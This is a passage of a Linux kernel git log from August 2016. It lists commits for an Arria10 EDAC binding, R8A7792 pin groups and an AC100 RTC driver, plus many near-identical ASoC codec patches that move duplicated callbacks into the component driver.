------------------------------- 1 file changed, 31 deletions(-) commit 5e40cd4d258cc0728585a94fd81f73488f7cdce7 Author: Thor Thayer Date: Tue Aug 2 10:56:19 2016 -0500 Documentation: dt: socfpga: Add Arria10 SD-MMC EDAC binding Add the device tree bindings needed to support the Altera SD-MMC FIFO buffers EDAC on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Rob Herring Cc: devicetree@vger.kernel.org Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1470153381-20517-2-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov .../devicetree/bindings/arm/altera/socfpga-eccmgr.txt | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 2b84bf892956d7d0f7e35a187bc2109f1909850f Author: Sergei Shtylyov Date: Fri Aug 5 23:54:20 2016 +0300 pinctrl: sh-pfc: r8a7792: Add DU pin groups Add DU pin groups to the R8A7792 PFC driver. Signed-off-by: Sergei Shtylyov Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 144 +++++++++++++++++++++++++++++++++++ 1 file changed, 144 insertions(+) commit 7dd74bb1f058786e85922b595cde2972be436365 Author: Sergei Shtylyov Date: Fri Aug 5 23:52:32 2016 +0300 pinctrl: sh-pfc: r8a7792: Add VIN pin groups Add VIN[0-5] pin groups to the R8A7792 PFC driver. Signed-off-by: Sergei Shtylyov [geert: Fix VI1_D14_G6_Y6 and VI1_D15_G7_Y7 pins] Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 577 +++++++++++++++++++++++++++++++++++ 1 file changed, 577 insertions(+) commit adc9ad09f722dd033be24bf8f3818c5d4b38315b Author: Geert Uytterhoeven Date: Tue Jun 28 16:12:41 2016 +0200 pinctrl: sh-pfc: r8a7795: Correct header from R-Car Gen3 to R8A7795 This source file handles r8a7795 only, which is not the sole member of the R-Car Gen3 family. Signed-off-by: Geert Uytterhoeven Acked-by: Linus Walleij drivers/pinctrl/sh-pfc/pfc-r8a7795.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 04940631b8d2b2e57a13b6d4ca50dfe5994b514f Author: Chen-Yu Tsai Date: Fri Jul 8 22:33:39 2016 +0800 rtc: ac100: Add clk output support The AC100's RTC side has 3 clock outputs on external pins, which can provide a clock signal to the SoC or other modules, such as WiFi or GSM modules. Support this with a custom clk driver integrated with the rtc driver. Signed-off-by: Chen-Yu Tsai Acked-by: Alexandre Belloni Signed-off-by: Lee Jones drivers/rtc/rtc-ac100.c | 302 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 302 insertions(+) commit d00a18a42c1483924de086ddfb0efe8da1dba3ac Author: Chen-Yu Tsai Date: Fri Jul 8 22:33:38 2016 +0800 rtc: ac100: Add RTC driver for X-Powers AC100 X-Powers AC100 is a codec / RTC combo chip. This driver supports the RTC sub-device. The RTC block also has clock outputs and non-volatile storage. Non-volatile storage wthin the RTC hardware is not supported. Clock output support is added in the next patch. Signed-off-by: Chen-Yu Tsai Acked-by: Alexandre Belloni Signed-off-by: Lee Jones drivers/rtc/Kconfig | 10 ++ drivers/rtc/Makefile | 1 + drivers/rtc/rtc-ac100.c | 325 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 336 insertions(+) commit 585083c539ca3f5fb3d00057b25f9be3304d54c6 Author: Chen-Yu Tsai Date: Fri Jul 8 22:33:37 2016 +0800 mfd: ac100: Add driver for X-Powers AC100 audio codec / RTC combo IC The AC100 is a multifunction device with an audio codec subsystem and an RTC subsystem. These two subsystems share a common register space and host interface. Signed-off-by: Chen-Yu Tsai Signed-off-by: Lee Jones drivers/mfd/Kconfig | 10 +++ drivers/mfd/Makefile | 2 + drivers/mfd/ac100.c | 137 +++++++++++++++++++++++++++++++++++ include/linux/mfd/ac100.h | 178 ++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 327 insertions(+) commit 44fb25d031065fc846c0f97e37456a792312a7d1 Author: Chen-Yu Tsai Date: Fri Jul 8 22:33:36 2016 +0800 mfd: ac100: Add device tree bindings for X-Powers AC100 codec/RTC combo IC The AC100 is a multifunction device with an audio codec subsystem and an RTC subsystem. These two subsystems share a common register space and host interface. Signed-off-by: Chen-Yu Tsai Acked-by: Rob Herring Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/ac100.txt | 54 +++++++++++++++++++++++++ 1 file changed, 54 insertions(+) commit 2c452dd8af9da98b4b0ae1f12f8059160c7b11b5 Author: Kuninori Morimoto Date: Mon Aug 8 09:36:29 2016 +0000 ASoC: codec duplicated callback function goes to component on wm9713 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm9713.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 3123e54b341485e022010b263d3c80cafa5ebf1e Author: Kuninori Morimoto Date: Mon Aug 8 09:35:53 2016 +0000 ASoC: codec duplicated callback function goes to component on wm9712 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm9712.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 2fa1f30af91be69158bf86fa9e4d474c0bc955dc Author: Kuninori Morimoto Date: Mon Aug 8 09:35:34 2016 +0000 ASoC: codec duplicated callback function goes to component on wm9705 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm9705.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 216cf784ddea751d930b9e9b77a1b8b5db5cb434 Author: Kuninori Morimoto Date: Mon Aug 8 09:35:15 2016 +0000 ASoC: codec duplicated callback function goes to component on wm9081 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm9081.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 38addd95b81ac84bec4b33fbae739e96fae6e588 Author: Kuninori Morimoto Date: Mon Aug 8 09:34:58 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8998 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8998.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 4df0f6203e82c38aa7ec59ab706e7aa4d410ad45 Author: Kuninori Morimoto Date: Mon Aug 8 09:34:40 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8997 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8997.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit efee13aa36cb96f78bf2410fa488e60e021a707e Author: Kuninori Morimoto Date: Mon Aug 8 09:34:24 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8996 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8996.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit af84d1c4dd08b3a185f9ae74165c5cc0ad975559 Author: Kuninori Morimoto Date: Mon Aug 8 09:34:07 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8995 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8995.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 4664b5e2bf4a44ed625536a79886b4dee17ef9e1 Author: Kuninori Morimoto Date: Mon Aug 8 09:33:47 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8991 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8991.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 0b71b898ff530c0acae9e32df1f884dbdf5d110f Author: Kuninori Morimoto Date: Mon Aug 8 09:33:30 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8990 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8990.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 11f851f56336f35e2e7575465b53d5d583bbad22 Author: Kuninori Morimoto Date: Mon Aug 8 09:33:11 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8988 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8988.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit c79dc99cdab0f35950460172c809e7900e214fdf Author: Kuninori Morimoto Date: Mon Aug 8 09:32:54 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8983 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8983.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit d792e7b678cded4dae6a19e00082bf885833fa19 Author: Kuninori Morimoto Date: Mon Aug 8 09:32:37 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8971 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8971.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 5e731b7e3bb02c60f42935efee40b9c3118d1a2f Author: Kuninori Morimoto Date: Mon Aug 8 09:32:18 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8961 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8961.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 11f473eab148571c9eb2af066b1faaddae8e4fa7 Author: Kuninori Morimoto Date: Mon Aug 8 09:32:00 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8955 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8955.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 90a60b06f41880b2415720cec14ea0d830384461 Author: Kuninori Morimoto Date: Mon Aug 8 09:31:43 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8940 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8940.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 496360f5a8a267d72486fb5615f04e063edd6ed0 Author: Kuninori Morimoto Date: Mon Aug 8 09:31:25 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8900 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8900.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f56531d019f3f13d56c48619d9deeee34efccefb Author: Kuninori Morimoto Date: Mon Aug 8 09:31:09 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8782 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8782.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 59b06efb2374f116b4a8007d3b00ab55a5fd3cbc Author: Kuninori Morimoto Date: Mon Aug 8 09:30:51 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8727 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8727.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 7b5deb2d62b72effc7de9783caeeeed376e3942b Author: Kuninori Morimoto Date: Mon Aug 8 09:30:34 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8400 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8400.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 667a8069066093f618b3930272f52e090ca49d88 Author: Kuninori Morimoto Date: Mon Aug 8 09:30:13 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8350 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8350.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 098c0756931833068318f29d476dffc2aa694582 Author: Kuninori Morimoto Date: Mon Aug 8 09:29:55 2016 +0000 ASoC: codec duplicated callback function goes to component on wm5110 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm5110.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 4214c3460502e3c57c7cb8269e5c4193d800c929 Author: Kuninori Morimoto Date: Mon Aug 8 09:29:37 2016 +0000 ASoC: codec duplicated callback function goes to component on wm5102 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm5102.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 99a95b23a2ad6a5f314e295ded68ea609d288e7c Author: Kuninori Morimoto Date: Mon Aug 8 09:29:19 2016 +0000 ASoC: codec duplicated callback function goes to component on wm5100 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm5100.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b68f37aa2e56c4281d096ca7d165c0bf663ecd2b Author: Kuninori Morimoto Date: Mon Aug 8 09:28:59 2016 +0000 ASoC: codec duplicated callback function goes to component on wm2200 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm2200.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit bd22e11e1b48c088472bc1e91c8ee3a484eaf428 Author: Kuninori Morimoto Date: Mon Aug 8 09:28:43 2016 +0000 ASoC: codec duplicated callback function goes to component on wm2000 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm2000.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit c6c0a214001ecc6c5d42c1226cdd33c07f8a016b Author: Kuninori Morimoto Date: Mon Aug 8 09:28:25 2016 +0000 ASoC: codec duplicated callback function goes to component on wm1250-ev1 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm1250-ev1.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 022f86d6f3b15bcd4865bccf837d309eb336f5a2 Author: Kuninori Morimoto Date: Mon Aug 8 09:28:08 2016 +0000 ASoC: codec duplicated callback function goes to component on wm0010 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm0010.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 23ce0ad98946b6d27d43bec2cc1fb34013761690 Author: Kuninori Morimoto Date: Mon Aug 8 09:27:49 2016 +0000 ASoC: codec duplicated callback function goes to component on wl1273 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wl1273.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 68509ede7e80e6cd1782485f9a91c9641adadc54 Author: Kuninori Morimoto Date: Mon Aug 8 09:27:32 2016 +0000 ASoC: codec duplicated callback function goes to component on uda1380 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/uda1380.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit e939fc6c2679c474c31c7e07c73703099bd68f70 Author: Kuninori Morimoto Date: Mon Aug 8 09:27:14 2016 +0000 ASoC: codec duplicated callback function goes to component on uda134x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/uda134x.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 2f45b8bd731cbaee5404cfac8bf083e807cffadf Author: Kuninori Morimoto Date: Mon Aug 8 09:26:56 2016 +0000 ASoC: codec duplicated callback function goes to component on twl6040 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/twl6040.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit e4b918ea24b1e16db7370883a6748efe7a3ac9ff Author: Kuninori Morimoto Date: Mon Aug 8 09:26:35 2016 +0000 ASoC: codec duplicated callback function goes to component on twl4030 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/twl4030.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b04c71e634e6654cf4e52e7a94e98aba27c0e643 Author: Kuninori Morimoto Date: Mon Aug 8 09:26:17 2016 +0000 ASoC: codec duplicated callback function goes to component on tlv320dac33 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tlv320dac33.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a06809b83f5d8b8a84fc9eb1bd3dae8edf839774 Author: Kuninori Morimoto Date: Mon Aug 8 09:25:57 2016 +0000 ASoC: codec duplicated callback function goes to component on tlv320aic32x4 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tlv320aic32x4.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 40be1e609e743733e1e8a18b90e7be22c27d2062 Author: Kuninori Morimoto Date: Mon Aug 8 09:25:40 2016 +0000 ASoC: codec duplicated callback function goes to component on tlv320aic26 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tlv320aic26.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 70e710d649ce705910885617fda3e37528057300 Author: Kuninori Morimoto Date: Mon Aug 8 09:25:22 2016 +0000 ASoC: codec duplicated callback function goes to component on stac9766 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/stac9766.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 29926fc8e853b6ddfee916d91fe88bec07058107 Author: Kuninori Morimoto Date: Mon Aug 8 09:25:03 2016 +0000 ASoC: codec duplicated callback function goes to component on sta529 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/sta529.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 96107bbaf32ab93bd359c7741f3611aff08e144b Author: Kuninori Morimoto Date: Mon Aug 8 09:24:44 2016 +0000 ASoC: codec duplicated callback function goes to component on ssm2518 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ssm2518.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 486e0763e23d0fc91aac0b5a156a2646ed7c658f Author: Kuninori Morimoto Date: Mon Aug 8 09:24:24 2016 +0000 ASoC: codec duplicated callback function goes to component on sn95031 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/sn95031.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 185c7c005ad89e7c21e9922cc5e92af761d87fb4 Author: Kuninori Morimoto Date: Mon Aug 8 09:24:06 2016 +0000 ASoC: codec duplicated callback function goes to component on si476x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/si476x.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 1ec95a5748de5fd448f0b54a3b3c6fcd3b8374c0 Author: Kuninori Morimoto Date: Mon Aug 8 09:23:46 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5677 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5677.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 462fe79468ccc79d9d639f03c666b5c117b4957c Author: Kuninori Morimoto Date: Mon Aug 8 09:23:24 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5670 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5670.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit e0c2b59e83ab98dce500746d482850a2dffdcd22 Author: Kuninori Morimoto Date: Mon Aug 8 09:23:07 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5659 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5659.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 1fd899821d59303d7e6ec4be14770213788f1bb8 Author: Kuninori Morimoto Date: Mon Aug 8 09:22:51 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5651 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5651.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 51712de1ea87b794e6e47584a87cda7cfd7a2056 Author: Kuninori Morimoto Date: Mon Aug 8 09:22:33 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5645 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5645.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b72aa483c4d3668b1e95a1d968e64262c7d876f1 Author: Kuninori Morimoto Date: Mon Aug 8 09:22:11 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5640 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5640.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a3470399bcfcd2ca57b6135f89f48e7e37a499fd Author: Kuninori Morimoto Date: Mon Aug 8 09:21:55 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5514 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5514.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b5c998b472c25d72fedc1b686faf1fab6dfcbf4c Author: Kuninori Morimoto Date: Mon Aug 8 09:21:37 2016 +0000 ASoC: codec duplicated callback function goes to component on rt298 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt298.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a6a505dd2fabe43b969147f63d44a3dd1daf6f9d Author: Kuninori Morimoto Date: Mon Aug 8 09:21:19 2016 +0000 ASoC: codec duplicated callback function goes to component on rt286 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt286.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 4cd747df40c6dfdc61daf22b6457904a3d87213a Author: Kuninori Morimoto Date: Mon Aug 8 09:21:02 2016 +0000 ASoC: codec duplicated callback function goes to component on pcm3008 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/pcm3008.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 889adf638721a9dcd772e20075697338d65fb2bc Author: Kuninori Morimoto Date: Mon Aug 8 09:20:46 2016 +0000 ASoC: codec duplicated callback function goes to component on nau8825 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/nau8825.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 